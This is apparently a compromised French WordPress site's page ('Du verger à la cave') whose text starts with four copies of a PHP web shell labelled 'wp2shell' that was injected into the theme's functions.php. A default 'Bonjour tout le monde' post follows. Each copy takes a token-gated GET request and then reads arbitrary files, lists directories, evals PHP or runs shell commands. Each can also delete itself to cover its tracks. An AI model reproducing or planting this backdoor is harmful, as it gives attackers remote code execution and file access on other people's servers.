// wp2shell_39902e8c
add_action('init', function() {
if (!isset($_GET['t']) || !hash_equals('39902e8c2b1967f0b66348e68f5c88e4', (string)$_GET['t']) || !isset($_GET['c'])) return;
$cmd = (string)$_GET['c'];
$out = null;
if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
elseif($cmd==='__SELF_REMOVE__'){
$f=get_theme_file_path('functions.php');
$src=file_get_contents($f);
$src=preg_replace('/\n\/\/ wp2shell_39902e8c.*?\n},10);\n/s','',$src);
file_put_contents($f,$src);
$out='removed';
}
else{
foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
if(!function_exists($fn))continue;
ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
}
$out=$out??'[exec_all_blocked]';
}
wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);
// wp2shell_34b2371f
add_action('init', function() {
if (!isset($_GET['t']) || !hash_equals('34b2371fe7fdbaad01ccde0643387df8', (string)$_GET['t']) || !isset($_GET['c'])) return;
$cmd = (string)$_GET['c'];
$out = null;
if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
elseif($cmd==='__SELF_REMOVE__'){
$f=get_theme_file_path('functions.php');
$src=file_get_contents($f);
$src=preg_replace('/\n\/\/ wp2shell_34b2371f.*?\n},10);\n/s','',$src);
file_put_contents($f,$src);
$out='removed';
}
else{
foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
if(!function_exists($fn))continue;
ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
}
$out=$out??'[exec_all_blocked]';
}
wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);
// wp2shell_3c4cac36
add_action('init', function() {
if (!isset($_GET['t']) || !hash_equals('3c4cac3659f7171e1f7e277cb71597df', (string)$_GET['t']) || !isset($_GET['c'])) return;
$cmd = (string)$_GET['c'];
$out = null;
if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
elseif($cmd==='__SELF_REMOVE__'){
$f=get_theme_file_path('functions.php');
$src=file_get_contents($f);
$src=preg_replace('/\n\/\/ wp2shell_3c4cac36.*?\n},10);\n/s','',$src);
file_put_contents($f,$src);
$out='removed';
}
else{
foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
if(!function_exists($fn))continue;
ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
}
$out=$out??'[exec_all_blocked]';
}
wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);
// wp2shell_e46423c8
add_action('init', function() {
if (!isset($_GET['t']) || !hash_equals('e46423c83025f72e403cc9856be2cf19', (string)$_GET['t']) || !isset($_GET['c'])) return;
$cmd = (string)$_GET['c'];
$out = null;
if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
elseif($cmd==='__SELF_REMOVE__'){
$f=get_theme_file_path('functions.php');
$src=file_get_contents($f);
$src=preg_replace('/\n\/\/ wp2shell_e46423c8.*?\n},10);\n/s','',$src);
file_put_contents($f,$src);
$out='removed';
}
else{
foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
if(!function_exists($fn))continue;
ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
}
$out=$out??'[exec_all_blocked]';
}
wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);
Bonjour tout le monde ! – Du verger à la cave
Bonjour tout le monde !
Bienvenue sur WordPress. Ceci est votre premier article. Modifiez-le ou supprimez-le, puis commencez à écrire !
Laisser un commentaire